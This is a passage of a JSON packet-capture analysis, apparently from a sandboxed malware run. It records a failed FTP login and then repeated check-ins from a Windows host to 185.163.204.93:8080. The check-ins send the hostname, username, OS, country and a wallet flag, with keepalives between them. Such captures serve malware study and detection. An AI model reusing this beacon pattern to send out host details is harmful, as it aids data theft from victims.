\"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 42, \"payload_preview\": \"33333120557365722061646d696e5f73796e204f4b2e2050617373776f72642072657175697265640d0a\", \"payload_ascii\": \"331 User admin_syn OK. Password required\\r\\n\"}, {\"packet_number\": 24, \"timestamp\": 1777472956.259015, \"timestamp_iso\": \"2026-04-29T19:59:16.259015\", \"timestamp_human\": \"2026-04-29 19:59:16.259\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"46.105.59.197\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 61381, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 21, \"dst_port\": 50062, \"tcp_seq\": 1324415244, \"tcp_ack\": 941849463, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 26, \"timestamp\": 1777472961.418313, \"timestamp_iso\": \"2026-04-29T19:59:21.418313\", \"timestamp_human\": \"2026-04-29 19:59:21.418\", \"size\": 87, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"46.105.59.197\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 61382, \"ip_len\": 73, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 21, \"dst_port\": 50062, \"tcp_seq\": 1324415244, \"tcp_ack\": 941849463, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 33, \"payload_preview\": \"353330204c6f67696e2061757468656e7469636174696f6e206661696c65640d0a\", \"payload_ascii\": \"530 Login authentication failed\\r\\n\"}, {\"packet_number\": 30, \"timestamp\": 1777472969.755913, \"timestamp_iso\": \"2026-04-29T19:59:29.755913\", \"timestamp_human\": \"2026-04-29 19:59:29.755\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"46.105.59.197\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 61383, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 21, \"dst_port\": 50062, \"tcp_seq\": 1324415277, \"tcp_ack\": 941849464, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 7, \"PSH\": 3, \"FIN\": 1}, \"packet_sizes\": [66, 323, 54, 96, 54, 87, 54], \"inter_packet_intervals\": [0.34979987144470215, 0.052819013595581055, 0.345750093460083, 0.037177085876464844, 5.159297943115234, 8.337599992752075], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 14.28244400024414, \"avg_packet_size\": 104.85714285714286, \"packets_per_second\": 0.49011219647564125, \"bytes_per_second\": 51.391764601874385, \"min_packet_size\": 54, \"max_packet_size\": 323, \"median_packet_size\": 66, \"avg_interval\": 2.3804073333740234, \"min_interval\": 0.037177085876464844, \"max_interval\": 8.337599992752075}, {\"source\": \"192.168.122.168\", \"target\": \"185.163.204.93\", \"packet_count\": 61, \"total_bytes\": 4386, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ports\": [50095, 50096, 50144, 50161, 50176, 50180], \"dst_ports\": [8080], \"first_packet\": 1777472983.359526, \"last_packet\": 1777473250.389176, \"packets\": [{\"packet_number\": 58, \"timestamp\": 1777472987.026153, \"timestamp_iso\": \"2026-04-29T19:59:47.026153\", \"timestamp_human\": \"2026-04-29 19:59:47.026\", \"size\": 58, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38432, \"ip_len\": 44, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50096, \"dst_port\": 8080, \"tcp_seq\": 1897488115, \"tcp_ack\": 747942180, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 4, \"payload_preview\": \"9f000000\", \"payload_ascii\": \"\\u0000\\u0000\\u0000\"}, {\"packet_number\": 60, \"timestamp\": 1777472987.026278, \"timestamp_iso\": \"2026-04-29T19:59:47.026278\", \"timestamp_human\": \"2026-04-29 19:59:47.026\", \"size\": 213, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38433, \"ip_len\": 199, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50096, \"dst_port\": 8080, \"tcp_seq\": 1897488119, \"tcp_ack\": 747942180, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 159, \"payload_preview\": \"7b2274797065223a22696e666f222c2264617461223a7b22686f73746e616d65223a224445534b544f502d4a4c4355504b30222c22757365726e616d65223a2230784b616c222c226f73223a224d6963726f736f66742057696e646f77732031302050726f2031302e302e3139303434222c22636f756e747279223a224e4c222c226d6f6e69746f7273223a312c2277616c6c657473223a66616c73657d7d\", \"payload_ascii\": \"{\\\"type\\\":\\\"info\\\",\\\"data\\\":{\\\"hostname\\\":\\\"DESKTOP-JLCUPK0\\\",\\\"username\\\":\\\"0xKal\\\",\\\"os\\\":\\\"Microsoft Windows 10 Pro 10.0.19044\\\",\\\"country\\\":\\\"NL\\\",\\\"monitors\\\":1,\\\"wallets\\\":false}}\"}, {\"packet_number\": 62, \"timestamp\": 1777472997.101824, \"timestamp_iso\": \"2026-04-29T19:59:57.101824\", \"timestamp_human\": \"2026-04-29 19:59:57.101\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38434, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50096, \"dst_port\": 8080, \"tcp_seq\": 1897488277, \"tcp_ack\": 747942180, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 64, \"timestamp\": 1777473007.116476, \"timestamp_iso\": \"2026-04-29T20:00:07.116476\", \"timestamp_human\": \"2026-04-29 20:00:07.116\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38435, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50096, \"dst_port\": 8080, \"tcp_seq\": 1897488277, \"tcp_ack\": 747942180, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 66, \"timestamp\": 1777473017.145904, \"timestamp_iso\": \"2026-04-29T20:00:17.145904\", \"timestamp_human\": \"2026-04-29 20:00:17.145\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38436, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50096, \"dst_port\": 8080, \"tcp_seq\": 1897488277, \"tcp_ack\": 747942180, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 70, \"timestamp\": 1777473027.321735, \"timestamp_iso\": \"2026-04-29T20:00:27.321735\", \"timestamp_human\": \"2026-04-29 20:00:27.321\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38437, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50096, \"dst_port\": 8080, \"tcp_seq\": 1897488277, \"tcp_ack\": 747942180, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 72, \"timestamp\": 1777473037.335287, \"timestamp_iso\": \"2026-04-29T20:00:37.335287\", \"timestamp_human\": \"2026-04-29 20:00:37.335\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38438, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50096, \"dst_port\": 8080, \"tcp_seq\": 1897488277, \"tcp_ack\": 747942180, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 74, \"timestamp\": 1777473047.430411, \"timestamp_iso\": \"2026-04-29T20:00:47.430411\", \"timestamp_human\": \"2026-04-29 20:00:47.430\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38439, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50096, \"dst_port\": 8080, \"tcp_seq\": 1897488277, \"tcp_ack\": 747942180, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 77, \"timestamp\": 1777473053.002993, \"timestamp_iso\": \"2026-04-29T20:00:53.002993\", \"timestamp_human\": \"2026-04-29 20:00:53.002\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38440, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50096, \"dst_port\": 8080, \"tcp_seq\": 1897488278, \"tcp_ack\": 747942181, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 78, \"timestamp\": 1777473053.053412, \"timestamp_iso\": \"2026-04-29T20:00:53.053412\", \"timestamp_human\": \"2026-04-29 20:00:53.053\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38441, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50096, \"dst_port\": 8080, \"tcp_seq\": 1897488278, \"tcp_ack\": 747942181, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 80, \"timestamp\": 1777473053.071634, \"timestamp_iso\": \"2026-04-29T20:00:53.071634\", \"timestamp_human\": \"2026-04-29 20:00:53.071\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38442, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50144, \"dst_port\": 8080, \"tcp_seq\": 1125558933, \"tcp_ack\": 0, \"tcp_window\": 65535, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 82, \"timestamp\": 1777473053.071813, \"timestamp_iso\": \"2026-04-29T20:00:53.071813\", \"timestamp_human\": \"2026-04-29 20:00:53.071\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38443, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50144, \"dst_port\": 8080, \"tcp_seq\": 1125558934, \"tcp_ack\": 2135233062, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 91, \"timestamp\": 1777473053.994523, \"timestamp_iso\": \"2026-04-29T20:00:53.994523\", \"timestamp_human\": \"2026-04-29 20:00:53.994\", \"size\": 58, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38444, \"ip_len\": 44, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50144, \"dst_port\": 8080, \"tcp_seq\": 1125558934, \"tcp_ack\": 2135233062, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 4, \"payload_preview\": \"9f000000\", \"payload_ascii\": \"\\u0000\\u0000\\u0000\"}, {\"packet_number\": 93, \"timestamp\": 1777473053.994689, \"timestamp_iso\": \"2026-04-29T20:00:53.994689\", \"timestamp_human\": \"2026-04-29 20:00:53.994\", \"size\": 213, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38445, \"ip_len\": 199, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50144, \"dst_port\": 8080, \"tcp_seq\": 1125558938, \"tcp_ack\": 2135233062, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 159, \"payload_preview\": \"7b2274797065223a22696e666f222c2264617461223a7b22686f73746e616d65223a224445534b544f502d4a4c4355504b30222c22757365726e616d65223a2230784b616c222c226f73223a224d6963726f736f66742057696e646f77732031302050726f2031302e302e3139303434222c22636f756e747279223a224e4c222c226d6f6e69746f7273223a312c2277616c6c657473223a66616c73657d7d\", \"payload_ascii\": \"{\\\"type\\\":\\\"info\\\",\\\"data\\\":{\\\"hostname\\\":\\\"DESKTOP-JLCUPK0\\\",\\\"username\\\":\\\"0xKal\\\",\\\"os\\\":\\\"Microsoft Windows 10 Pro 10.0.19044\\\",\\\"country\\\":\\\"NL\\\",\\\"monitors\\\":1,\\\"wallets\\\":false}}\"}, {\"packet_number\": 96, \"timestamp\": 1777473064.002795, \"timestamp_iso\": \"2026-04-29T20:01:04.002795\", \"timestamp_human\": \"2026-04-29 20:01:04.002\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38446, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50144, \"dst_port\": 8080, \"tcp_seq\": 1125559096, \"tcp_ack\": 2135233062, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 98, \"timestamp\": 1777473074.092766, \"timestamp_iso\": \"2026-04-29T20:01:14.092766\", \"timestamp_human\": \"2026-04-29 20:01:14.092\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38447, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50144, \"dst_port\": 8080, \"tcp_seq\": 1125559096, \"tcp_ack\": 2135233062, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 100, \"timestamp\": 1777473084.09463, \"timestamp_iso\": \"2026-04-29T20:01:24.094630\", \"timestamp_human\": \"2026-04-29 20:01:24.094\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38448, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50144, \"dst_port\": 8080, \"tcp_seq\": 1125559096, \"tcp_ack\": 2135233062, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 102, \"timestamp\": 1777473094.185255, \"timestamp_iso\": \"2026-04-29T20:01:34.185255\", \"timestamp_human\": \"2026-04-29 20:01:34.185\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38449, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50144, \"dst_port\": 8080, \"tcp_seq\": 1125559096, \"tcp_ack\": 2135233062, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 104, \"timestamp\": 1777473104.197089, \"timestamp_iso\": \"2026-04-29T20:01:44.197089\", \"timestamp_human\": \"2026-04-29 20:01:44.197\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38450, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50144, \"dst_port\": 8080, \"tcp_seq\": 1125559096, \"tcp_ack\": 2135233062, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 108, \"timestamp\": 1777473114.292149, \"timestamp_iso\": \"2026-04-29T20:01:54.292149\", \"timestamp_human\": \"2026-04-29 20:01:54.292\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38451, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50144, \"dst_port\": 8080, \"tcp_seq\": 1125559096, \"tcp_ack\": 2135233062, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 111, \"timestamp\": 1777473118.08424, \"timestamp_iso\": \"2026-04-29T20:01:58.084240\", \"timestamp_human\": \"2026-04-29 20:01:58.084\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38452, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50144, \"dst_port\": 8080, \"tcp_seq\": 1125559097, \"tcp_ack\": 2135233063, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 112, \"timestamp\": 1777473118.140543, \"timestamp_iso\": \"2026-04-29T20:01:58.140543\", \"timestamp_human\": \"2026-04-29 20:01:58.140\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38453, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50144, \"dst_port\": 8080, \"tcp_seq\": 1125559097, \"tcp_ack\": 2135233063, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 114, \"timestamp\": 1777473118.167541, \"timestamp_iso\": \"2026-04-29T20:01:58.167541\", \"timestamp_human\": \"2026-04-29 20:01:58.167\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38454, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50161, \"dst_port\": 8080, \"tcp_seq\": 2775483791, \"tcp_ack\": 0, \"tcp_window\": 65535, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 116, \"timestamp\": 1777473118.1677, \"timestamp_iso\": \"2026-04-29T20:01:58.167700\", \"timestamp_human\": \"2026-04-29 20:01:58.167\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38455, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50161, \"dst_port\": 8080, \"tcp_seq\": 2775483792, \"tcp_ack\": 199973463, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 125, \"timestamp\": 1777473119.435064, \"timestamp_iso\": \"2026-04-29T20:01:59.435064\", \"timestamp_human\": \"2026-04-29 20:01:59.435\", \"size\": 58, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38456, \"ip_len\": 44, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50161, \"dst_port\": 8080, \"tcp_seq\": 2775483792, \"tcp_ack\": 199973463, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 4, \"payload_preview\": \"9f000000\", \"payload_ascii\": \"\\u0000\\u0000\\u0000\"}, {\"packet_number\": 127, \"timestamp\": 1777473119.435242, \"timestamp_iso\": \"2026-04-29T20:01:59.435242\", \"timestamp_human\": \"2026-04-29 20:01:59.435\", \"size\": 213, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38457, \"ip_len\": 199, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50161, \"dst_port\": 8080, \"tcp_seq\": 2775483796, \"tcp_ack\": 199973463, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 159, \"payload_preview\": \"7b2274797065223a22696e666f222c2264617461223a7b22686f73746e616d65223a224445534b544f502d4a4c4355504b30222c22757365726e616d65223a2230784b616c222c226f73223a224d6963726f736f66742057696e646f77732031302050726f2031302e302e3139303434222c22636f756e747279223a225553222c226d6f6e69746f7273223a312c2277616c6c657473223a66616c73657d7d\", \"payload_ascii\": 